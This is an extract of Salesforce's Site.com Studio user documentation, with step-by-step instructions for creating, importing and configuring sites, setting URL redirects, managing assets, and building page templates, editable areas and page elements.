Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To manage domains and publish Site.com sites:
Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level To manage user roles:
Site.com Publisher User field enabled on the user detail

page AND Publisher role assigned at the site level AND Manage Users

As a publisher or designer, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and manage the sites components and configure the sites properties.

2377

Getting Started with Site.com

Understanding the Publisher and Designer's Overview Tab

Select a view (1) on the Overview tab to view its contents (2). All Site ContentCreate folders to organize your site content. In this view, you can also create pages, templates, and style sheets, and import assets. Site PagesCreate site pages, open and edit pages, access page options, create site map links, and organize the site map. You can also switch between the default site map view ( ) and the list view ( ). Page TemplatesCreate page templates to base your site pages on, open and edit existing templates, and access template options. Style SheetsEdit the sites style sheet or create new style sheets. AssetsImport and manage assets, such as images and files. Trash CanRetrieve deleted items. When you delete a page, template, stylesheet, or asset, it goes into the trash can. Deleted items remain in the trash can indefinitely. Retrieved items are restored to their original location. If the original location no longer exists, they are restored to the top-level root directory. Recent ChangesView information about the most recently modified files. Publish HistoryView information about the published files. Site ConfigurationConfigure site properties such as the site name, create URL redirects, manage domain information, and manage user roles.

Use the toolbar (3) to: Import assets, such as images and files. Publish recent changes. Preview your site or generate an anonymous preview link to send to other users.

Use the site's pull-down menu (4) to: Open recently accessed sites.

2378

Getting Started with Site.com

Understanding the Contributors's Overview Tab

Exit Site.com Studio and return to Salesforce. Create and open a new site. Duplicate the site.

See Also:
Using Site.com Studio as a Publisher or Designer Planning and Implementing a Site.com Website Site.com Overview

Understanding the Contributors's Overview Tab


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To edit only content in Site.com sites:


Site.com Contributor User field enabled on the user

detail page AND Contributor role assigned at the site level

As a contributor, when you open a site in Site.com Studio, it opens on the Overview tab. Here you can access and edit the sites pages and content, and import images and files.

2379

Getting Started with Site.com

Understanding the Contributors's Overview Tab

Select a view (1) on the Overview tab to view its contents (2). All Site ContentView all of the sites pages, images, and files. Site PagesView and edit pages, or create site pages, if available. AssetsImport assets, such as images and files. Recent ChangesView information about the most recently modified files.

Use the toolbar (3) to: Import assets, such as images and files. Preview the site in a browser window.

Use the site's pull-down menu (4) to: Open recently accessed sites. Exit Site.com Studio and return to Salesforce.

See Also:
Using Site.com Studio as a Contributor Site.com Overview

2380

Creating and Managing Sites

Creating a Site.com Site

CREATING AND MANAGING SITES


Creating a Site.com Site
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or import Site.com sites:


Site.com Publisher User field enabled on the user detail

page

To get started with Site.com, create a new blank site: 1. On the Site.com tab in the Site.com app, click New. Alternatively, in Site.com Studio, click Create a New Site in the site's drop-down menu. 2. Click Create a Blank Website. 3. Enter the site name. 4. Click Create. Your new website opens in Site.com Studio, where you can create page templates and site pages, and add functionality to it.

See Also:
Creating Site.com Page Templates Creating Site Pages as a Publisher or Designer Understanding the Page Editing View in Site.com Studio Configuring Site Properties Using Site.com Studio as a Publisher or Designer Deleting a Site.com Site Duplicating a Site.com Site Importing a Site.com Site

2381

Creating and Managing Sites

Deleting a Site.com Site

Deleting a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

You can delete any site that hasnt been published. 1. On the Site.com tab in the Site.com app, select the site and click 2. Click OK. > Delete.

Note: You cant delete a site that has been published. However, you can take it offline. See Taking Your Site Offline on page 2492.

See Also:
Creating a Site.com Site Duplicating a Site.com Site Exporting a Site.com Site Importing a Site.com Site

2382

Creating and Managing Sites

Duplicating a Site.com Site

Duplicating a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To create a copy of a site: 1. On the Site.com tab in the Site.com app, select the site and click Duplicate the Site in the site's drop-down menu. 2. Enter a name for the site. 3. Click Create. > Duplicate. Alternatively, in Site.com Studio, click

Note: If youre creating a copy of a site that uses data services, you must set the data access permissions in the new sites guest user profile.

See Also:
Creating a Site.com Site Deleting a Site.com Site Exporting a Site.com Site Importing a Site.com Site

2383

Creating and Managing Sites

Exporting a Site.com Site

Exporting a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

You can export your site from Site.com to your hard drive. The site is exported in a packaged format that you can import into another Salesforce organization. The maximum site size you can import is 200 MB. 1. On the Site.com tab in the Site.com app, select the site and click 2. Select a location for the exported site on your hard drive. 3. Click Save. > Export.

Note: Exported sites have a .site extension. Exporting a site doesnt remove it from the current organization. The users in the site are exported with the site, but not their roles.

See Also:
Creating a Site.com Site Deleting a Site.com Site Duplicating a Site.com Site Importing a Site.com Site

2384

Creating and Managing Sites

Importing a Site.com Site

Importing a Site.com Site


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To create or import Site.com sites:


Site.com Publisher User field enabled on the user detail

page

You can import an exported Site.com site into your organization. The maximum site size you can import is 200 MB. When you import a site, the users from that site are imported, but not their roles. However, the person creating the site is given the Publisher role, so they can assign roles to the imported users. 1. On the Site.com tab in the Site.com app, click New. Alternatively, in Site.com Studio, click Create a New Site in the site's drop-down menu. 2. Select Import a Site or Template. 3. Enter the site name. 4. Click Browse to locate the exported site on your hard drive. Exported sites have a .site extension. 5. Click Create. Note: If youre importing a site that uses data services, you must set the data access permissions in the imported sites guest user profile. Additionally, any data repeaters, data tables, data functions, or forms may need to be reconfigured.

See Also:
Creating a Site.com Site Deleting a Site.com Site Duplicating a Site.com Site Exporting a Site.com Site

2385

Creating and Managing Sites

Configuring Site Properties

Configuring Site Properties


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Set properties for the site, such as the home page, site name, and error page, and create an anonymous preview URL that allows other users to review the site before it goes live. The URL is always valid (unless you disable it) and shows the latest work in progress. 1. On the Overview tab, click Site Configuration. 2. Click Edit. 3. In the Site Configuration view, you can: Replace the name in the Site Name field to rename the site. Select Enable Anonymous Preview to create a URL that allows other users to preview the site before it goes live. (Click the View Anonymous Preview option that appears in the Preview menu to access the preview URL, which you can copy and send to other users to review and test your changes.) Enable Anonymous Preview is also available from the Preview menu on the Overview tab. Access the sites guest user profile. Select the home page for your website in the Home Page drop-down list. Select a user-friendly error page (if you created one) in the 404 Page drop-down list to display when a page can't be found. It's a good idea to create a user-friendly error page to assist site visitors if they encounter a broken link.

4. Click Save.

See Also:
Creating a Site.com Site Using Site.com Studio as a Publisher or Designer

2386

Creating and Managing Sites

Creating URL Redirects in Site.com

Creating URL Redirects in Site.com


If you move or reorganize pages in your site, search engines may have trouble finding the new page locations. To avoid this, set up URL redirects to inform users and search engines that site content has moved. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

You can use URL redirects to: Maintain search engine ranking. For example, if you change a pages name from Gadgets to Widgets, creating a redirect rule from /Gadgets to /Widgets lets you restructure the site without affecting your page ranking. Make URLs more readable and memorable. For example, site visitors will find long or numeric page names, such as /widget65AD890004ab9923, difficult to remember. Instead, you can provide them with a short, friendly URL, such as /widget, and create an alias that redirects to the correct page when the user uses the short URL alias. Assist with migration from another system to Site.com if youre still using the same domain. For example, if your old site ran on PHP, you can create a redirection rule from an old page, such as /index.php, to a new page in Site.com, such as /myNewPage.

To assign a redirect to a site page: 1. On the Overview tab, click Site Configuration > URL Redirects. 2. Click Create a Redirect. 3. Specify the Redirect type:
Option Permanent (301) Description Select this option if you want users and search engines to update the URL in their systems when visiting the page. Users visiting a page redirected with this type are sent seamlessly to the new page. Using a permanent redirect ensures that your URLs retain their search engine popularity ratings, and that search engines index the new page and remove the obsolete source URL from their indexes. Select this option if you want users and search engines to keep using the original URL for the page. Search engines interpret a 302 redirect as one that could change again at any time, and though they index and serve up the content on the new target page, they also keep the source URL in their indexes. Select this option if you dont want the URL to change in the users browser, but you want to redirect to a different page. Search engines wont be aware of the change or update their records. Alias redirects only work when you redirect from one Site.com page to another. You cant create an alias to an external address.

Temporary (302)

Alias

4. Specify the former page location in the Redirect from field.

2387

Creating and Managing Sites

Creating and Managing Folders

The page location must be a relative URL. The page can have any valid extension type, such as .html or .php, and can contain parameters. Parameter order is irrelevant. The URL cant contain anchors, such as /siteprefix/page.html#target. You can create just one redirection rule from a particular URL. If you create a new rule with the same Redirect From information, the old rule is overwritten.

5. Specify the new page location in the Redirect to field. This can be a relative URL or a fully-qualified URL with an http:// or https:// prefix. Unlike pages youre redirecting from, pages youre redirecting to can contain anchors. 6. To immediately enable the redirection rule, ensure Active is selected. To enable it at a later stage, deselect the property. 7. Click Save. The URL Redirects section displays all URL redirection rules you've created for your site. Edit an assigned redirect rule by clicking > Edit Redirect. Delete a redirect rule by clicking > Delete Redirect.

Creating and Managing Folders


As a publisher or designer, you can create folders to manage your pages, style sheets, templates, and assets. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To create new folders: 1. In the All Site Content view on the Overview tab, click New Folder. 2. Type in the folder name. 3. Click Create. Folders are created at the top level of the folder tree. Once created, you can drag them anywhere in the tree structure. Likewise, you can drag and drop files into the folders you create. To rename, delete, and create sub-folders, right-click the folder or use the Actions menu ( ).

2388

Creating and Managing Sites

Importing and Managing Assets

Note: The site map remains the same regardless of how you arrange folders in the All Site Content view.

See Also:
Understanding the Publisher and Designer's Overview Tab Site.com Overview

Importing and Managing Assets


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level To edit only content in Site.com sites:
Site.com Contributor User

AND Contributor role assigned at the site level

Contributors, designers, and publishers can import a variety of assets, such as images and PDFs, to use in a website. Note: To import folders of assets and maintain the folder structure in your site, first create a .zip file of the content, and then import and unzip the content. The maximum file size you can import is 50 MB unless you import and unzip a .zip file. In that case, you can import a .zip file of up to 200 MB if you select Unzip files during the import process.

The quickest way to import one or more files is to: 1. Select the files and drag them directly onto the Studio interface. This is supported for Mozilla Firefox and Google Chrome only. 2. Depending on the types of files youre importing, a dialog box may appear that lets you: Select Unzip files to extract the contents of a .zip file. If the .zip file includes folders, this structure is maintained in your site. Select Overwrite existing files to replace a file that already exists in the site.

2389

Creating and Managing Sites

Importing and Managing Assets

Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that you can use to style your website.

Alternatively, to import a single file: 1. 2. 3. 4. Click Import.... Click Browse... to locate the file. Select the file and click Open. Depending on the type of file youre importing, you can: Select Unzip files to extract the contents of a .zip file. If the .zip file includes folders, this structure is maintained in your site. Select Overwrite existing files to replace a file that already exists in the site. Select Convert CSS files into style sheets, if you're a publisher or designer, to convert a CSS file into a style sheet that you can use to style your website.

5. Click Import. A message appears indicating whether the file was imported successfully. 6. Click .

You can add images and videos to the text areas of your site pages, or create a hyperlink to any imported asset. If you're a publisher or designer, you can add also add images directly to the page. View the list of imported assets in the Assets view on the Overview tab. You can also access assets in the All Site Content view, which displays the folder hierarchy of your site. To view a thumbnail of an imported image, hover over it. To save an asset to your computer, hover over or select it and click > Download. To remove an asset from your site if you're a publisher or designer, hover over or select it and click > Delete. If the asset is being used in your site, you see a confirmation message with a list of locations where that asset is in use.

See Also:
Adding Site.com Page Elements Using Site.com Studio as a Publisher or Designer Using Site.com Studio as a Contributor

2390

Creating and Managing Pages

Understanding the Page Editing View in Site.com Studio

CREATING AND MANAGING PAGES


Understanding the Page Editing View in Site.com Studio
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When working with page templates and site pages, you can add content, structure, and style, all in one place. Open a page or template on the Overview tab by double-clicking it or hovering over it and clicking > Edit. The page opens as a new tab.

Using the Page Elements and element hierarchy. Using the Properties, selected page or element.

Page Structure panes (1), you can add page elements to a page and reorder the page Events panes (2), you can set properties, add style, and create events for a

Style, and

2391

Creating and Managing Pages

Site.com Page Templates Overview

Using the toolbar (3), you can: Edit page text. Undo and redo your actions. Cut, copy, or paste page elements. Import assets, such as images and files. Preview your site or generate an anonymous preview link to send to other users. Publish your recent changes. Access other page actions, such as renaming or deleting the page.

On the page canvas (4), you can lay out the page and select, edit, and move page elements. Tip: Hide the side panes to increase the canvas size by clicking and . To reopen a pane, click its icon.

As you edit a page, your changes are saved and the status icon ( ) on the page tab is updated automatically. If the site page or page template is based on another template, editable page elements are highlighted with a blue border on the page.

See Also:
Using Site.com Studio as a Publisher or Designer

Site.com Page Templates Overview


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Before you begin building the pages of your website, take some time to plan the pages you need, and in particular, which pages will have a similar layout. Once you've decided on the layout, the quickest method is to use a page template to build the basic layout.

About Page Templates


A page template lets you define the layout and functionality of site pages in one location. By adding common page elements to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. Page templates don't appear on your public site. As the template creator, you specify which elements users can edit in pages based on the template. By default, a page element in a template is locked, so users can't edit its contents in any template-based page unless you mark the page element as editable. Conversely, when users edit an editable page element in a template-based page, their changes are specific to that page and don't affect your template.

2392

Creating and Managing Pages

Site.com Page Templates Overview

For example, this main page template contains a non-editable header and navigation menu that are common to all the pages in the site (1). The main template also has an editable center panel (2) to house the page-specific content of each page that's based on it.

Note: Page templates must contain at least one editable page element. Otherwise, users can't edit site pages that are based on the template. Panels are ideal for adding editable areas to page templates.

You can use page templates to: Save time and effort by laying out the page structure and using it as a starting point when you create site pages. For example, you could design a template with a fixed header panel and side menu, and an editable center panel, to which you add page-specific page elements and content. Quickly make global updates to the layout or style of your website, as any changes you make to the template's design are reflected immediately in all the pages that use it. Control how other users (such as contributors or other publishers) can modify site pages. For example, you may allow contributors to edit specific content blocks only. Ensure your template design remains pixel-perfect. When users edit a page that's based on a template, their changes don't affect your template. Reuse common design elements by creating child templates. Allow contributors to create site pages that are based on the template.

About Child Templates


Child templates are a useful way to reuse common design elements for more complicated page layouts. For example, your website will probably have elements that are the same on every page in your site, such as a navigation menu. However, several pages may have elements that are common only to them, such as pages in a subsection of your site that include a subsection header. By using a child template, which is a template that's based on another template, you can reuse the main template design. Using our main page template as a base, the child template inherits the non-editable header and navigation menu (1), and an editable center panel (2) where we add the non-editable subsection header (3). We also need to add a new editable center panel (4) because the center panel of the main template is editable only in pages directly based on the main template.

2393

Creating and Managing Pages

Site.com Page Templates Overview

Now, any page based on the child template includes the non-editable main header, navigation menu, and subsection header, and an editable center panel (5) for that page's content.

Best Practices
Plan your site structure and the layout of your pages. Taking the time to plan your website first saves time when you build your site. Identify which elements are common to all the pages of your site, such as navigation menus or headers, as these are the elements you can add to the page template. Use page templates wherever possible to promote content reuse and save time. Try to keep the design of your main page template as simple as possible to make it easier to modify in the future. For more complicated site designs, use child templates to achieve maximum flexibility.

See Also:
Creating Site.com Page Templates Creating Editable Template Areas Creating Site Pages as a Publisher or Designer Identifying Which Template a Site.com Page Uses Changing a Pages Doctype Property Using Site.com Studio as a Publisher or Designer

2394

Creating and Managing Pages

Creating Site.com Page Templates

Creating Site.com Page Templates


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

A page template lets you define the layout and functionality of site pages in one location. By adding common page elements to the template and then basing site pages on it, you can achieve a consistent look and feel throughout your site. And because a template-based page inherits the template's elements, you can make site-wide changes from one location. You can create a page template from a layout, or if you've already created a template, you can use it as a base to create a child template, which lets you reuse the design of the main template.

Creating a Page Template from a Layout


To start from scratch with a completely blank template or use a basic page layout: 1. Hover over Page Templates on the Overview tab and click New, or click New Page Template in the Page Templates view. 2. Enter the page template name. Template names cant include special characters, such as #, ?, or @. 3. Click Layouts and select either a blank page or a predefined page layout, such as a page with a header and footer. Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to set their position, so you can easily modify the layout after the page is created. However, if you're familiar with CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the Code tab in the Style pane, and clicking Apply. 4. Choose a layout mode: To expand the page to fill the width of the browser window, click Full width. To set the page width, click Fixed width and enter the width.

5. Click Create. The page template opens. Next, you must complete the template. Tip: By default, any template you create is only available to other publishers in your organization. To let contributors create pages based on the template, select Available to Contributor in the Properties pane. You can also create templates by converting or duplicating other pages.

2395

Creating and Managing Pages

Creating Site.com Page Templates

Creating a Child Template


To use an existing template as a base for a child template: The quickest option is to: 1. Select the template in the Page Templates view on the Overview tab and click > Create Child Template. Alternatively, click Page Actions > Create Child Template if the template is open. 2. Enter the page template name. Template names cant include special characters, such as #, ?, or @. 3. Click Create. The child template opens. Alternatively: 1. Hover over Page Templates on the Overview tab and click New, or click New Page Template in the Page Templates view. 2. Enter the page template name. Template names cant include special characters, such as #, ?, or @. 3. Click Page templates and select the page template. 4. Click Create. The child page template opens.

Completing Your Template


Once you've created a template, you must take the next steps to complete it: Lay out the page template Add other page elements to the template Create editable areas Create template-based site pages

See Also:
Site.com Page Templates Overview Understanding the Page Editing View in Site.com Studio Using a Tracing Image for Page Layouts Identifying Which Template a Site.com Page Uses Changing a Pages Doctype Property Using Site.com Studio as a Publisher or Designer

2396

Creating and Managing Pages

Creating Editable Template Areas

Creating Editable Template Areas


As the template creator, you specify which elements users can edit in pages based on the template. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

To make a page element editable in derived pages or child templates, select it on the page template or in the Page Structure pane and click > Make Editable, or select Editable in the Properties pane. When the page template is open, editable page elements are highlighted with a blue border on the page. They also display a pencil icon ( the page. ) in the Page Structure pane and in the information popup that appears when you hover over the element on

See Also:
Tips for Working With Editable Page Elements Working With Default Content in Editable Page Elements Creating Site.com Page Templates Identifying Which Template a Site.com Page Uses Site.com Page Templates Overview

2397

Creating and Managing Pages

Tips for Working With Editable Page Elements

Tips for Working With Editable Page Elements


When you mark a page element as Editable on a page template, that page element becomes editable in any child pages or templates derived from the parent template. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Consider these tips when creating editable page elements. If youre working with editable page elements that contain default content, see Working With Default Content in Editable Page Elements on page 2399. Editable page elements are highlighted with a blue border in child pages and templates. If you make a page element within a panel editable, you cant also make the panel editable. Deleting an editable element from a page template removes it from all child pages and templates. When you enable the Editable property of a page element, any pages or child templates based on the template also inherit the enabled status. In turn, the enabled status in the child template cascades to any of its children, and so on. If you dont want its editability to cascade to any lower levels, disable the Editable property of a page element in a child template. Users can't alter the events, style, or properties of an editable page element in pages based on the template. Users can't resize, reposition, or delete editable page elements in pages based on the template. However, if the element's Auto Height property is enabled in the template, its height will adjust to fit the content of the template-based page.

Editable Page Elements and User Roles


Publishers can edit any page element you make editable. Contributors can modify editable content blocks in site pages based on the template. They can also edit content blocks that you place in an editable panel in template-based site pages. To add a content block that only other publishers can edit, use custom code instead.

See Also:
Working With Default Content in Editable Page Elements Editing and Working With Site.com Page Elements Creating Editable Template Areas Adding Site.com Page Elements

2398

Creating and Managing Pages

Working With Default Content in Editable Page Elements

Working With Default Content in Editable Page Elements


Content added to an editable area on a page template becomes default content for the area in child pages and templates. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

The content of all editable page elements on a child page or template is linked to the content of the editable elements on its parent page template. When you update the content of an editable page element on the parent template, the changes are pushed down to any child pages or page templates. However, if you modify the content of an editable page element at the child page or template level, you break the link between the elements, and any subsequent changes made to the page element on the parent template won't trickle down to its children. To replace the inherited content of an editable page element, select it on the page or in the Page Structure pane and click > Override Parent Content. Any changes made to the element at the parent level will no longer show up. To return control of the content to the parent template, select the editable page element on the page or in the Page Structure pane and click > Revert to Parent Content. When you do this, any custom content in the editable page element is lost.

Disabling the Editable property of a panel in a parent template overrides any changes made to that panel in child pages or templates. Changes to the panel at the child level disappear, and the panel reflects only the content from the parent template. However, the changes at the child level arent lost. Re-enabling the Editable property of the panel in the parent template restores the custom content previously added to its children.

See Also:
Tips for Working With Editable Page Elements Editing and Working With Site.com Page Elements Creating Editable Template Areas Adding Site.com Page Elements

2399

Creating and Managing Pages

Creating Site Pages as a Publisher or Designer

Creating Site Pages as a Publisher or Designer


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When you create a site page, you can choose to base it on a page template. If you're creating several site pages that have common page elements, such as a navigation menu, you can save time and effort and achieve a consistent look and feel by creating a page template first and then basing your site pages on it. Alternatively, if none of your site pages have a similar structure or if you need to create a one-off site page that doesn't follow the overall site design, such as a home page, you can create a page based on a basic layout.

Creating Site Pages from a Layout


Start from scratch with a completely blank page or use a basic page layout. 1. Hover over Site Pages on the Overview tab and click New, or click New > Site Page when the Site Pages view is open. 2. Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @. 3. Click Layouts and select either a blank page or a predefined page layout, such as a page with a header and footer. Note: Predefined page layouts use panels to create columns, headers, and footers. These panels use inline CSS to set their position, so you can easily modify the layout after the page is created. However, if you're familiar with CSS and prefer using CSS rules, you can remove the inline style by selecting the panel, deleting the code from the Code tab in the Style pane, and clicking Apply. 4. Choose a layout mode: To expand the page to fill the width of the browser window, click Full width. To set the page width, click Fixed width and enter the width.

5. Click Create. The site page opens.

Creating Site Pages from a Page Template


If you created a page template, you can base your site pages on it. The quickest option is to: 1. Select the template in the Page Templates view and click > Create Page from Template. Alternatively, click Page Actions > Create Page from Template if the template is open. 2. Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @. 3. Click Create. The site page opens.

2400

Creating and Managing Pages

Identifying Which Template a Site.com Page Uses

Alternatively: 1. 2. 3. 4. Hover over Site Pages on the Overview tab and click New, or click New > Site Page when the Site Pages view is open. Enter the site page name. Page names cant include spaces or special characters, such as #, ?, or @. Click Page templates and select the page template. Click Create. The site page opens. Tip: You can also create pages by converting or duplicating other pages.

See Also:
Understanding the Page Editing View in Site.com Studio Adding Site.com Page Elements Using a Tracing Image for Page Layouts Changing a Pages Doctype Property Using Site.com Studio as a Publisher or Designer

Identifying Which Template a Site.com Page Uses


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When you edit a template-based page, you can't modify its non-editable page elements. You also can't reposition, resize, or delete editable page elements, or alter the events, properties, or style associated with them. To update these elements or properties, you must edit them in the template the page is based on. To identify which page template a site page is based on: Hover over the site page in the Sites Pages view on the Overview tab. An information popup appears that displays the page template's name.

2401

Creating and Managing Pages

Identifying Which Template a Site.com Page Uses

Examine the Page Structure pane when the page is open. The template's name is displayed as a link that you can click to open the template.

Tip: To view and open the site pages associated with a particular page template, select or hover over the page template in the Page Templates view of the Overview tab and click > Edit Pages Based on Template. Click a listed site page to open it.

See Also:
Creating Site.com Page Templates Creating Editable Template Areas Site.com Page Templates Overview

2402

Creating and Managing Pages

Performing Common Page Actions

Performing Common Page Actions


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When working with pages and templates, you can perform common tasks, such as renaming, deleting, or duplicating pages. To access more page options, select or hover over a page on the Site Pages view of the Overview tab and click .

To access more template options, select or hover over a template in the Page Templates view of the Overview tab and click . Alternatively, if the page or template is open, click Page Actions. The available options vary for pages and templates: Select Convert Site Page to Template Convert Template to Site Page Create Child Template Create Page from Template Delete Duplicate To... Change the page into a template. Change the template into a page. You can't convert a template that has pages based on it. Create a child template based on the selected template. Create a page based on the template. Remove a page or template. You can't delete a template that has pages based on it. Create a copy of the page or template. Duplicating a page template doesnt duplicate the pages or templates based on it. Edit Edit Pages Based on Template Preview Open the page or template for editing. Alternatively, double-click the page or template. View and open the site pages that are based on the selected page template. View the page in a browser window.

2403

Creating and Managing Pages

Using a Tracing Image for Page Layouts

Select Rename

To... Change the page or template name.

See Also:
Understanding the Page Editing View in Site.com Studio Using Site.com Studio as a Publisher or Designer

Using a Tracing Image for Page Layouts


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

If your designer provides you with a full-scale mockup of the page design, you can use it as a background tracing image to create a pixel-perfect page layout. To use a tracing image as a guide when you lay out pages: 1. 2. 3. 4. Import the image. Open the page template or site page. Select the image in the Tracing Image list in the Properties pane. Resize the page elements to match the tracing image.

See Also:
Creating Site.com Page Templates Creating Site Pages as a Publisher or Designer

2404

Adding Features and Page Elements

Changing a Pages Doctype Property

Changing a Pages Doctype Property


The Document Type Definition (DTD) or doctype of a page defines which version of HTML its using. This information is used by some browsers to trigger a standard rendering mode. By default, each pages doctype is set to XHTML 1.0, but you can change it to HTML5. Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

When the page is open: 1. Select the page in the Page Structure pane. 2. In the Properties pane, select an option in the Doctype drop-down list.

See Also:
Changing a Page Elements HTML Tag Adding Custom HTML Attributes HTML5 Semantic Page-Layout Tags Understanding the Page Editing View in Site.com Studio

ADDING FEATURES AND PAGE ELEMENTS


Site.com Page Elements
Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

Page elements are the building blocks of your site pages and page templates. Combined, they provide the page's structure and content.

2405

Adding Features and Page Elements

Site.com Page Elements

When a site page or page template is open in Site.com Studio, these page elements are available to publishers: Page Element Content Block Custom Code Description Contains the page text, and can also house images, media, and hyperlinks. Lets you customize your site by adding markup, such as HTML and JavaScript for elements that aren't provided in Site.com Studio. Adds images directly to the page. Adds a breadcrumb navigation element to the page. Creates a menu that lets users navigate through the pages of your site. Adds structure to the page and lets you group other page elements together. Adds a button to the page. You can use the actions in the Events pane to add functionality to the button. Lets you create web-to-lead forms or gather customer feedback, and submit the data to Salesforce objects. Provides several field types to add to forms or pages. When added to a form, binds to fields in the forms object. Lets users set a true (selected) or false (deselected) value on a form or page. Lets users enter a valid email address on a form or page. Lets users enter a whole number on a form or page. Lets users enter a phone number on a form or page. Lets users select a value from a list on a form or page. Lets users enter up to 255 characters (depending on the field limit in the Salesforce object) on a form or page. Supports any combination of letters, numbers, or symbols. Lets users enter up to 32,768 characters on a form or page, which display on separate lines. Supports any combination of letters, numbers, or symbols. Lets users enter a valid website address on a form or page. Must be contained in a data repeater. Binds to a field in the data repeaters object and acts as a placeholder that shows the content of a specified field for the current record. Connects to a standard or custom Salesforce object, performs calculations on the returned results, and displays the calculation on the page. Connects to a Salesforce object and returns a dataset based on filters that you specify. Combines with data elements or custom code page elements to display the results on the page.

Image Breadcrumb Menu Panel Button Form Input Fields Checkbox Email Number Phone Picklist Text

Text Area

URL Data Element

Data Function

Data Repeater

2406

Adding Features and Page Elements

Adding Site.com Page Elements

Data Table

Connects to a standard or custom Salesforce object, retrieves a data set based on the filter criteria that you specify, and displays one or more record as rows in the table.

See Also:
Adding Site.com Page Elements Editing and Working With Site.com Page Elements

Adding Site.com Page Elements


Available for purchase in: Enterprise and Unlimited Editions Available (with limitations) in: Developer Edition

User Permissions Needed To build, edit, and manage Site.com sites:


Site.com Publisher User field enabled on the user detail

page AND Publisher or Designer role assigned at the site level

Page elements are the building blocks of your site pages and page templates. Panel elements add structure to your pages. You can think of both pages and panels as containers for the page elements that you add to them. If a site page or page template is based on another page template, you can only add page elements to editable panels, which are highlighted with a blue border on the page. Pages, panels, data repeaters, and forms are container page elements, so you can add other page elements to them when the page is open. In the Page Elements pane, either: Drag the page element onto the page canvas or container page element. Click the page element, select where to place it in the popup that appears, and click Apply. In the Page Structure pane, hover over a container page element and click want to add or drag it onto the container page element. Select a container page element on the page and click it into the container page element. > Add Page Elements. Click the item you

> Add Page Elements. Click the item you want to add or drag

When you drag a page element into an editable panel, the page element displays a permitted icon and a green border shows where you're placing the element.

2407

Adding Features and Page Elements

Editing and Working With Site.com Page Elements

If you try dragging a page element into a panel that isn't editable, the page element displays a not-permitted icon.

See Also:
